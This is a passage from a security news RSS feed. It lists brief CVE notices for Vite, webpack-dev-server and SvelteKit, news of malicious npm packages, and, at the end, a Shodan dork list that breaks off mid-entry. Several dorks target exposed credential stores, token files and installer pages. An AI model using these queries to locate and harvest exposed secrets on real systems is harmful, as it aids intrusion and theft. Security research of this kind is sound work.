<description><![CDATA[A vulnerability has been found in vitejs vite up to 4.5.13/5.4.18/6.1.5/6.2.6/6.3.3 and classified as critical. This impacts an unknown function. Performing manipulation results in path traversal.

This vulnerability is reported as CVE-2025-46565. The attack is possible to be carried out remotely...]]></description>
<link>https://tsecurity.de/de/3018008/sicherheitsluecken/cve-2025-46565-vitejs-vite-up-to-45135418615626633-path-traversal-ghsa-859w-5945-r5v3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3018008/sicherheitsluecken/cve-2025-46565-vitejs-vite-up-to-45135418615626633-path-traversal-ghsa-859w-5945-r5v3/</guid>
<pubDate>Thu, 02 Oct 2025 23:52:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs vite up to 4.5.13/5.4.18/6.1.5/6.2.6/6.3.3</a> and classified as <a href="https://vuldb.com/?kb.risk">critical</a>. This impacts an unknown function. Performing manipulation results in path traversal.

This vulnerability is reported as <a href="https://vuldb.com/?source_cve.307108">CVE-2025-46565</a>. The attack is possible to be carried out remotely. No exploit exists.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-31125 | vitejs vite up to 4.5.10/5.4.15/6.0.12/6.1.2/6.2.3 information disclosure (GHSA-4r4m-qw57-chr8)]]></title>
<description><![CDATA[A vulnerability was found in vitejs vite up to 4.5.10/5.4.15/6.0.12/6.1.2/6.2.3. It has been classified as problematic. The affected element is an unknown function. This manipulation causes information disclosure.

The identification of this vulnerability is CVE-2025-31125. It is possible to init...]]></description>
<link>https://tsecurity.de/de/3002489/sicherheitsluecken/cve-2025-31125-vitejs-vite-up-to-451054156012612623-information-disclosure-ghsa-4r4m-qw57-chr8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3002489/sicherheitsluecken/cve-2025-31125-vitejs-vite-up-to-451054156012612623-information-disclosure-ghsa-4r4m-qw57-chr8/</guid>
<pubDate>Wed, 24 Sep 2025 19:38:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs vite up to 4.5.10/5.4.15/6.0.12/6.1.2/6.2.3</a>. It has been classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. The affected element is an unknown function. This manipulation causes information disclosure.

The identification of this vulnerability is <a href="https://vuldb.com/?source_cve.302210">CVE-2025-31125</a>. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-58752 | vitejs vite up to 5.4.19/6.3.5/7.0.6/7.1.4 path traversal (GHSA-jqfw-vq24-v9c3)]]></title>
<description><![CDATA[A vulnerability was found in vitejs vite up to 5.4.19/6.3.5/7.0.6/7.1.4 and classified as problematic. Impacted is an unknown function. Executing manipulation can lead to relative path traversal.

This vulnerability is tracked as CVE-2025-58752. The attack can be launched remotely. No exploit exi...]]></description>
<link>https://tsecurity.de/de/2990018/sicherheitsluecken/cve-2025-58752-vitejs-vite-up-to-5419635706714-path-traversal-ghsa-jqfw-vq24-v9c3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2990018/sicherheitsluecken/cve-2025-58752-vitejs-vite-up-to-5419635706714-path-traversal-ghsa-jqfw-vq24-v9c3/</guid>
<pubDate>Wed, 17 Sep 2025 22:35:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs vite up to 5.4.19/6.3.5/7.0.6/7.1.4</a> and classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. Impacted is an unknown function. Executing manipulation can lead to relative path traversal.

This vulnerability is tracked as <a href="https://vuldb.com/?source_cve.323153">CVE-2025-58752</a>. The attack can be launched remotely. No exploit exists.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-58751 | vitejs vite up to 5.4.19/6.3.5/7.0.6/7.1.4 Setting path traversal (GHSA-g4jq-h2w9-997c)]]></title>
<description><![CDATA[A vulnerability was found in vitejs vite up to 5.4.19/6.3.5/7.0.6/7.1.4. It has been rated as critical. This affects an unknown function of the component Setting Handler. This manipulation causes path traversal.

This vulnerability is registered as CVE-2025-58751. Remote exploitation of the attac...]]></description>
<link>https://tsecurity.de/de/2990014/sicherheitsluecken/cve-2025-58751-vitejs-vite-up-to-5419635706714-setting-path-traversal-ghsa-g4jq-h2w9-997c/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2990014/sicherheitsluecken/cve-2025-58751-vitejs-vite-up-to-5419635706714-setting-path-traversal-ghsa-g4jq-h2w9-997c/</guid>
<pubDate>Wed, 17 Sep 2025 22:35:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.vitejs:vite">vitejs vite up to 5.4.19/6.3.5/7.0.6/7.1.4</a>. It has been rated as <a href="https://vuldb.com/?kb.risk">critical</a>. This affects an unknown function of the component <em>Setting Handler</em>. This manipulation causes path traversal.

This vulnerability is registered as <a href="https://vuldb.com/?source_cve.323156">CVE-2025-58751</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-30360 | webpack-dev-server up to 5.2.0 origin validation (GHSA-9jgg-88mc-972h / Nessus ID 264716)]]></title>
<description><![CDATA[A vulnerability was found in webpack-dev-server up to 5.2.0. It has been rated as problematic. This vulnerability affects unknown code. This manipulation causes origin validation error.

This vulnerability is tracked as CVE-2025-30360. The attack is possible to be carried out remotely. No exploit...]]></description>
<link>https://tsecurity.de/de/2983584/sicherheitsluecken/cve-2025-30360-webpack-dev-server-up-to-520-origin-validation-ghsa-9jgg-88mc-972h-nessus-id-264716/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2983584/sicherheitsluecken/cve-2025-30360-webpack-dev-server-up-to-520-origin-validation-ghsa-9jgg-88mc-972h-nessus-id-264716/</guid>
<pubDate>Sun, 14 Sep 2025 23:21:42 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.webpack-dev-server">webpack-dev-server up to 5.2.0</a>. It has been rated as <a href="https://vuldb.com/?kb.risk">problematic</a>. This vulnerability affects unknown code. This manipulation causes origin validation error.

This vulnerability is tracked as <a href="https://vuldb.com/?source_cve.311018">CVE-2025-30360</a>. The attack is possible to be carried out remotely. No exploit exists.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-30359 | webpack-dev-server up to 5.2.0 routine (GHSA-4v9v-hfq4-rm2v / Nessus ID 264715)]]></title>
<description><![CDATA[A vulnerability was found in webpack-dev-server up to 5.2.0. It has been classified as problematic. Affected by this issue is some unknown functionality. The manipulation leads to exposed dangerous routine.

This vulnerability is referenced as CVE-2025-30359. Remote exploitation of the attack is ...]]></description>
<link>https://tsecurity.de/de/2983583/sicherheitsluecken/cve-2025-30359-webpack-dev-server-up-to-520-routine-ghsa-4v9v-hfq4-rm2v-nessus-id-264715/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2983583/sicherheitsluecken/cve-2025-30359-webpack-dev-server-up-to-520-routine-ghsa-4v9v-hfq4-rm2v-nessus-id-264715/</guid>
<pubDate>Sun, 14 Sep 2025 23:21:41 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.webpack-dev-server">webpack-dev-server up to 5.2.0</a>. It has been classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. Affected by this issue is some unknown functionality. The manipulation leads to exposed dangerous routine.

This vulnerability is referenced as <a href="https://vuldb.com/?source_cve.311016">CVE-2025-30359</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-53261 | sveltejs kit up to 2.8.2 index.js cross site scripting]]></title>
<description><![CDATA[A vulnerability has been found in sveltejs kit up to 2.8.2 and classified as problematic. This issue affects some unknown processing of the file packages/kit/src/exports/vite/dev/index.js. The manipulation leads to cross site scripting.

This vulnerability is uniquely identified as CVE-2024-53261...]]></description>
<link>https://tsecurity.de/de/2963408/sicherheitsluecken/cve-2024-53261-sveltejs-kit-up-to-282-indexjs-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2963408/sicherheitsluecken/cve-2024-53261-sveltejs-kit-up-to-282-indexjs-cross-site-scripting/</guid>
<pubDate>Thu, 28 Aug 2025 22:07:50 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/?product.sveltejs:kit">sveltejs kit up to 2.8.2</a> and classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. This issue affects some unknown processing of the file <em>packages/kit/src/exports/vite/dev/index.js</em>. The manipulation leads to cross site scripting.

This vulnerability is uniquely identified as <a href="https://vuldb.com/?source_cve.286038">CVE-2024-53261</a>. The attack is possible to be carried out remotely. No exploit exists.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-30208 – Vite Arbitrary File Read via @fs Path Traversal Bypass]]></title>
<description><![CDATA[Discover CVE-2025-30208, a critical arbitrary file read vulnerability in the Vite development server. Learn how remote attackers exploit @fs URL handling to access sensitive files.
The post CVE-2025-30208 – Vite Arbitrary File Read via @fs Path Traversal Bypass appeared first on OffSec.]]></description>
<link>https://tsecurity.de/de/2916226/hacking/cve-2025-30208-vite-arbitrary-file-read-via-fs-path-traversal-bypass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2916226/hacking/cve-2025-30208-vite-arbitrary-file-read-via-fs-path-traversal-bypass/</guid>
<pubDate>Thu, 31 Jul 2025 19:26:14 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Discover CVE-2025-30208, a critical arbitrary file read vulnerability in the Vite development server. Learn how remote attackers exploit @fs URL handling to access sensitive files.</p>
<p>The post <a href="https://www.offsec.com/blog/cve-2025-30208/">CVE-2025-30208 – Vite Arbitrary File Read via @fs Path Traversal Bypass</a> appeared first on <a href="https://www.offsec.com/">OffSec</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vite fs LFI (Local File Inclusion) Vulnerability]]></title>
<description><![CDATA[Topic: Vite fs LFI (Local File Inclusion) Vulnerability  Risk: Medium Text:# Titles: CVE-2025-30208 - Vite `@fs` LFI (Local File Inclusion) Vulnerability   # Author: nu11secur1ty  # Date: 01/09/2025  # ...]]></description>
<link>https://tsecurity.de/de/2863949/sicherheitsluecken/vite-fs-lfi-local-file-inclusion-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2863949/sicherheitsluecken/vite-fs-lfi-local-file-inclusion-vulnerability/</guid>
<pubDate>Wed, 02 Jul 2025 13:23:06 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Topic: Vite fs LFI (Local File Inclusion) Vulnerability  Risk: Medium Text:# Titles: CVE-2025-30208 - Vite `@fs` LFI (Local File Inclusion) Vulnerability   # Author: nu11secur1ty  # Date: 01/09/2025  # ...]]></content:encoded>
</item>
<item>
<title><![CDATA[programmier.bar: Rolldown – wie void(0) das JS-Ökosystem umbaut]]></title>
<description><![CDATA[Die Crew der programmier.bar im Gespräch mit einem der Vite-Maintainer über Developer Experience, Frameworks und Architektur-Entscheidungen.]]></description>
<link>https://tsecurity.de/de/2852385/it-nachrichten/programmierbar-rolldown-wie-void0-das-js-oekosystem-umbaut/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2852385/it-nachrichten/programmierbar-rolldown-wie-void0-das-js-oekosystem-umbaut/</guid>
<pubDate>Thu, 26 Jun 2025 08:15:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Crew der programmier.bar im Gespräch mit einem der Vite-Maintainer über Developer Experience, Frameworks und Architektur-Entscheidungen.]]></content:encoded>
</item>
<item>
<title><![CDATA[programmier.bar: Vite – das universale Build Tool für JavaScript und TypeScript]]></title>
<description><![CDATA[In dieser Folge ist die Crew der programmier.bar im Gespräch mit einem der Vite-Maintainer über Developer Experience, Frameworks und Architekturentscheidungen.]]></description>
<link>https://tsecurity.de/de/2824557/it-nachrichten/programmierbar-vite-das-universale-build-tool-fuer-javascript-und-typescript/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2824557/it-nachrichten/programmierbar-vite-das-universale-build-tool-fuer-javascript-und-typescript/</guid>
<pubDate>Wed, 11 Jun 2025 09:00:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In dieser Folge ist die Crew der programmier.bar im Gespräch mit einem der Vite-Maintainer über Developer Experience, Frameworks und Architekturentscheidungen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Malicious npm Packages Target React, Vue, and Vite Ecosystems with Destructive Payloads]]></title>
<description><![CDATA[submitted by    /u/Silvestron   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/2792795/linux-tipps/malicious-npm-packages-target-react-vue-and-vite-ecosystems-with-destructive-payloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2792795/linux-tipps/malicious-npm-packages-target-react-vue-and-vite-ecosystems-with-destructive-payloads/</guid>
<pubDate>Fri, 23 May 2025 02:07:15 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Silvestron"> /u/Silvestron </a> <br> <span><a href="https://socket.dev/blog/malicious-npm-packages-target-react-vue-and-vite-ecosystems-with-destructive-payloads">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1kt5v0g/malicious_npm_packages_target_react_vue_and_vite/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Destructive Malware Available In NPM Repo Went Unnoticed For 2 Years]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Researchers have found malicious software that received more than 6,000 downloads from the NPM repository over a two-year span, in yet another discovery showing the hidden threats users of such open source archives face. Eight packages using ...]]></description>
<link>https://tsecurity.de/de/2792716/it-security-nachrichten/destructive-malware-available-in-npm-repo-went-unnoticed-for-2-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2792716/it-security-nachrichten/destructive-malware-available-in-npm-repo-went-unnoticed-for-2-years/</guid>
<pubDate>Fri, 23 May 2025 00:18:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Researchers have found malicious software that received more than 6,000 downloads from the NPM repository over a two-year span, in yet another discovery showing the hidden threats users of such open source archives face. Eight packages using names that closely mimicked those of widely used legitimate packages contained destructive payloads designed to corrupt or delete important data and crash systems, Kush Pandya, a researcher at security firm Socket, reported Thursday. The packages have been available for download for more than two years and accrued roughly 6,200 downloads over that time.
 
"What makes this campaign particularly concerning is the diversity of attack vectors -- from subtle data corruption to aggressive system shutdowns and file deletion," Pandya wrote. "The packages were designed to target different parts of the JavaScript ecosystem with varied tactics." [...] Some of the payloads were limited to detonate only on specific dates in 2023, but in some cases a phase that was scheduled to begin in July of that year was given no termination date. Pandya said that means the threat remains persistent, although in an email he also wrote: "Since all activation dates have passed (June 2023-August 2024), any developer following normal package usage today would immediately trigger destructive payloads including system shutdowns, file deletion, and JavaScript prototype corruption." The list of malicious packages included js-bomb, js-hood, vite-plugin-bomb-extend, vite-plugin-bomb, vite-plugin-react-extend, vite-plugin-vue-extend, vue-plugin-bomb, and quill-image-downloader.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Destructive+Malware+Available+In+NPM+Repo+Went+Unnoticed+For+2+Years%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F25%2F05%2F22%2F2012209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F25%2F05%2F22%2F2012209%2Fdestructive-malware-available-in-npm-repo-went-unnoticed-for-2-years%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/25/05/22/2012209/destructive-malware-available-in-npm-repo-went-unnoticed-for-2-years?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Deploy Weaponized npm Packages to Target React and Node.js JavaScript Frameworks]]></title>
<description><![CDATA[Socket’s Threat Research Team, a series of malicious npm packages have been found lurking in the JavaScript ecosystem for over two years, amassing more than 6,200 downloads. These weaponized packages, targeting popular frameworks like React, Vue.js, Vite, Node.js, and the Quill Editor, were craft...]]></description>
<link>https://tsecurity.de/de/2792231/hacking/hackers-deploy-weaponized-npm-packages-to-target-react-and-nodejs-javascript-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2792231/hacking/hackers-deploy-weaponized-npm-packages-to-target-react-and-nodejs-javascript-frameworks/</guid>
<pubDate>Thu, 22 May 2025 18:50:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Socket’s Threat Research Team, a series of malicious npm packages have been found lurking in the JavaScript ecosystem for over two years, amassing more than 6,200 downloads. These weaponized packages, targeting popular frameworks like React, Vue.js, Vite, Node.js, and the Quill Editor, were crafted by a threat actor under the npm alias “xuxingfeng” (linked to […]</p>
<p>The post <a href="https://gbhackers.com/hackers-deploy-weaponized-npm-packages/">Hackers Deploy Weaponized npm Packages to Target React and Node.js JavaScript Frameworks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shodan-Dorks - Dorks for Shodan; a powerful tool used to search for Internet-connected devices]]></title>
<description><![CDATA[This GitHub repository provides a range of search queries, known as "dorks," for Shodan, a powerful tool used to search for Internet-connected devices. The dorks are designed to help security researchers discover potential vulnerabilities and configuration issues in various types of devices such ...]]></description>
<link>https://tsecurity.de/de/2769397/it-security-tools/shodan-dorks-dorks-for-shodan-a-powerful-tool-used-to-search-for-internet-connected-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2769397/it-security-tools/shodan-dorks-dorks-for-shodan-a-powerful-tool-used-to-search-for-internet-connected-devices/</guid>
<pubDate>Sun, 11 May 2025 15:33:40 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEj_CyaABeyGjA0Ll_8pZtRLfDgAp-WXQ_Ds-AMmavEo0GqpCzF1LlqyvutvjapUNIVeCL7WY2f8eXU67JktzZ5jecdY14eWUvMXfYCTQdwHU8Pl-DFb41HL1nrVr8YCsh6UYjSY6TJH7jXLdoGQ2QdE4ZY734fzyJzrfWEI1pSc81Qv0OpdITrVRpEgYJU"><img alt="" data-original-height="662" data-original-width="1183" height="358" src="https://blogger.googleusercontent.com/img/a/AVvXsEj_CyaABeyGjA0Ll_8pZtRLfDgAp-WXQ_Ds-AMmavEo0GqpCzF1LlqyvutvjapUNIVeCL7WY2f8eXU67JktzZ5jecdY14eWUvMXfYCTQdwHU8Pl-DFb41HL1nrVr8YCsh6UYjSY6TJH7jXLdoGQ2QdE4ZY734fzyJzrfWEI1pSc81Qv0OpdITrVRpEgYJU=w640-h358" width="640"></a></div><br> <p>This GitHub repository provides a range of search queries, known as "dorks," for Shodan, a powerful tool used to search for Internet-connected devices. The dorks are designed to help security researchers discover potential <a href="https://www.kitploit.com/search/label/vulnerabilities" target="_blank" title="vulnerabilities">vulnerabilities</a> and <a href="https://www.kitploit.com/search/label/Configuration" target="_blank" title="configuration">configuration</a> issues in various types of devices such as webcams, routers, and servers. This resource is helpful for those interested in exploring network security and conducting <a href="https://www.kitploit.com/search/label/Vulnerability" target="_blank" title="vulnerability">vulnerability</a> scanning, including both beginners and experienced information security professionals. By leveraging this repository, users can improve the security of their own networks and protect against potential attacks.</p> <span><a name="more"></a></span><p><br></p><h3> Shodan Dorks: </h3> <pre><code><br>aa3939fc357723135870d5036b12a67097b03309<br>app="HIKVISION-综合安防管理平台"<br>"AppleHttpServer"<br>"AutobahnPython"<br>basic realm="Kettle"<br>Bullwark<br>cassandra<br>Chromecast<br>"ClickShareSession"<br>"/config/log_off_page.htm"<br>'"connection: upgrade"'<br>"cowboy"<br>cpe:"cpe:2.3:a:apache:cassandra"<br>cpe:"cpe:2.3:a:backdropcms:backdrop"<br>cpe:"cpe:2.3:a:bolt:bolt"<br>cpe:"cpe:2.3:a:cisco:sd-wan"<br>cpe:"cpe:2.3:a:ckeditor:ckeditor"<br>cpe:"cpe:2.3:a:cmsimple:cmsimple"<br>cpe:"cpe:2.3:a:djangoproject:django"<br>cpe:"cpe:2.3:a:djangoproject:django" || http.title:"Django administration"<br>cpe:"cpe:2.3:a:eclipse:jetty"<br>cpe:"cpe:2.3:a:embedthis:appweb"<br>cpe:"cpe:2.3:a:embedthis:goahead"<br>cpe:"cpe:2.3:a:exim:exim"<br>cpe:"cpe:2.3:a:gitlist:gitlist"<br>cpe:"cpe:2.3:a:google:web_server"<br>cpe:"cpe:2.3:a:jfrog:artifactory"<br>cpe:"cpe:2.3:a:kentico:kentico"<br>cpe:"cpe:2.3:a:koha:koha"<br>cpe:"cpe:2.3:a:konghq:docker-kong"<br>cpe:"cpe:2.3:a:laurent_destailleur:awstats"<br>cpe:"cpe:2.3:a:lighttpd:lighttpd"<br>cpe:"cpe:2.3:a:microsoft:internet_information_server"<br>cpe:"cpe:2.3:a:modx:modx_revolution"<br>cpe:"cpe:2.3:a:nodebb:nodebb"<br>cpe:"cpe:2.3:a:nodejs:node.js"<br>cpe:"cpe:2.3:a:openvpn:openvpn_access_server"<br>cpe:"cpe:2.3:a:openwebanalytics:open_web_analytics"<br>cpe:"cpe:2.3:a:oracle:glassfish_server"<br>cpe:"cpe:2.3:a:oracle:iplanet_web_server"<br>cpe:"cpe:2.3:a:php:php"<br>cpe:"cpe:2.3:a:prestashop:prestashop"<br>cpe:"cpe:2.3:a:proftpd:proftpd"<br>cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"<br>cpe:"cpe:2.3:a:pulsesecure:pulse_connect_secure"<br>cpe:"cpe:2.3:a:rubyonrails:rails"<br>cpe:"cpe:2.3:a:sensiolabs:symfony"<br>cpe:"cpe:2.3:a:typo3:typo3"<br>cpe:"cpe:2.3:a:vmware:rabbitmq"<br>cpe:"cpe:2.3:a:webedition:webedition_cms"<br>cpe:"cpe:2.3:a:zend:zend_server"<br>cpe:"cpe:2.3:h:zte:f460"<br>cpe:"cpe:2.3:o:canonical:ubuntu_linux"<br>cpe:"cpe:2.3:o:fedoraproject:fedora"<br>cpe:"cpe:2.3:o:microsoft:windows"<br>"DIR-845L"<br>eBridge_JSessionid<br>'ecology_JSessionid'<br>ecology_JSessionid<br>elastic indices<br>"ElasticSearch"<br>ESMTP<br>/geoserver/<br>Graylog<br>'hash:1357418825'<br>html:"access_tokens.db"<br>html:"ACE 4710 Device Manager"<br>html:"ActiveCollab Installer"<br>html:"Administration - Installation - MantisBT"<br>html:"Satis"<br>html:"Akeeba Backup"<br>html:"Amazon EC2 Status"<br>html:"anonymous-cli-metrics.json"<br>html:"ANTEEO"<br>html:"anyproxy"<br>html:"Apache Tomcat"<br>html:"Apdisk"<br>html:"appveyor.yml"<br>html:"aquatronica"<br>html:"Argo CD"<br>html:"Ariang"<br>html:"ASPNETCORE_ENVIRONMENT"<br>html:"atlassian-connect.json"<br>html:"atomcms"<br>html:"auth.json"<br>html:"authorization token is empty"<br>html:"Avaya Aura"<br>html:"AVideo"<br>html:"AWS EC2 Auto Scaling Lab"<br>html:"azure-pipelines.yml"<br>html:"babel.config.js"<br>html:"behat.yml"<br>html:"BeyondTrust"<br>html:"BIG-IP APM"<br>html:"BIG-IP Configuration Utility"<br>html:"bitbucket-pipelines.yml"<br>"html:\"/bitrix/\""<br>html:"blazor.boot.json"<br>html:"Blesta installer"<br>html:"blob.core.windows.net"<br>html:"buildAssetsDir" "nuxt"<br>html:"Calibre"<br>html:"camaleon_cms"<br>html:"Cargo.lock"<br>html:"Cargo.toml"<br>html:"CasaOS"<br>html:"Cassia Bluetooth Gateway Management Platform"<br>html:"/certenroll"<br>html:"/cfadmin/img/"<br>html:"Change Detection"<br>html:"Cisco Expressway"<br>html:"cisco firepower management"<br>html:"Cisco Unity Connection"<br>html:"/citrix/xenapp"<br>html:"ckan 2.8.2" || html:"ckan 2.3"<br>html:"cloud-config.yml"<br>html:"CMS Made Simple Install/Upgrade"<br>html:"codeception.yml"<br>html:"CodeMeter"<br>html:"CodiMD"<br>html:"config.rb"<br>html:"config.ru"<br>html:'content="eArcu'<br>html:"content="Navidrome""<br>html:"ContentPanel SetupWizard"<br>html:"contexts known to this"<br>html:"Coolify" html:"register"<br>html:"Couchbase Sync Gateway"<br>html:"Cox Business"<br>html:"credentials.db"<br>html:"Crontab UI"<br>html:"CrushFTP"<br>html:"cyberpanel"<br>html:"CyberPanel"<br>html:"DashRenderer"<br>html:"Dataease"<br>html:"data-xwiki-reference"<br>"html=\"Decision Center Enterprise console\""<br>html:"Decision Center Enterprise console"<br>html:"DefectDojo Logo"<br>html:"def_wirelesspassword"<br>html:"Dell OpenManage Switch Administrator"<br>'html:"desktop.ini"'<br>html:"DSR-250"<br>html:"DXR.axd"<br>html:"Easy Installer by ViserLab"<br>html:"editorconfig"<br>html:"EJBCA Enterprise Cloud Configuration Wizard"<br>html:"engage - Portail soignant"<br>html:"epihash"<br>html:"eShop Installer"<br>html:"ETL3100"<br>html:"FacturaScripts installer"<br>html:"faradayApp"<br>html:"Femtocell Access Point"<br>html:"FileCatalyst file transfer solution"<br>html:"FleetCart"<br>html:"FleetCart - Installation"<br>html:"Forgejo"<br>html:"FortiPortal"<br>html:"F-Secure Policy Manager"<br>html:ftpconfig<br>html:"ganglia_form.submit()"<br>html:"Generated by The Webalizer"<br>html:"GeniusOcean Installer"<br>html:"gitlab-ci.yml"<br>html:"GitLab Enterprise Edition"<br>html:"git web interface version"<br>html:"go.mod"<br>html:"gradio_mode"<br>html:"Guardfile"<br>html:"HAL Management Console"<br>html:"hgignore"<br>html:"Home - CUPS"<br>html:"HomeWorks Illumination Web Keypad"<br>html:"Honeywell Building Control"<br>html:"https://hugegraph.github.io"<br>html:"human.aspx"<br>html:"ibmdojo"<br>html:"iClock Automatic"<br>html:"IDP Skills Installer"<br>html:"imgproxy"<br>html:"Installation" html:"itop"<br>html:"Installation Panel"<br>html:"Installer - GROWI"<br>html:"Install Flarum"<br>html:"Install - StackPosts"<br>html:"Install the script - JustFans"<br>html:"instance_metadata"<br>html:"Invicti Enterprise - Installation Wizard"<br>html:"Invoice Ninja Setup"<br>html:"JBossWS"<br>html:"JK Status Manager"<br>html:"jsconfig.json"<br>html:"jwks.json"<br>html:"karma.conf.js"<br>html:"Kemp Login Screen"<br>html:"LANCOM Systems GmbH"<br>html:"Laragon" html:"phpinfo"<br>html:"lesshst"<br>html:"LibreNMS Install"<br>html:"Limesurvey Installer"<br>html:"LMSZAI - Learning Management System"<br>html:"LoadMaster"<br>html:"Locklizard Web Viewer"<br>html:"Login - Jorani"<br>html:"Login - Netflow Analyzer"<br>html:"Login | Splunk"<br>html:"Logon Error Message"<br>html:"logstash"<br>"html:\"Lucee\""<br>html:"Lychee-installer"<br>html:"Magento Installation"<br>html:"Magnolia is a registered trademark"<br>html:mailmap<br>html:"manifest.json"<br>html:"MasterSAM"<br>html:"Mautic Installation"<br>html:"mempool-space" || title:"Signet Explorer"<br>html:"Mercurial repositories index"<br>html:"mongod"<br>html:"mooSocial Installation"<br>html:"mysql_history"<br>html:"/_next/static"<br>html:"NGINX+ Dashboard"<br>html:"Nginx Proxy Manager"<br>html:"nginxWebUI"<br>html:"ng-version="<br>html:"nopCommerce Installation"<br>html:"npm-debug.log"<br>html:"npm-shrinkwrap.json"<br>html:"Ocp-Apim-Subscription-Key"<br>html:"omniapp"<br>html:"onedev.io"<br>html:"Open Journal Systems"<br>html:"Orbit Telephone System"<br>html:"Orchard Setup - Get Started"<br>html:"osCommerce"<br>html:"OWA CONFIG SETTINGS"<br>html:"owncast"<br>html:"packages.config"<br>html:"parameters.yml"<br>html:"PDI Intellifuel"<br>html:"phinx.yml"<br>html:"php_cs.cache"<br>html:"phpcs.xml"<br>html:"phpdebugbar"<br>html:"/phpgedview.db"<br>html:"phpipam installation wizard"<br>html:"phpIPAM IP address 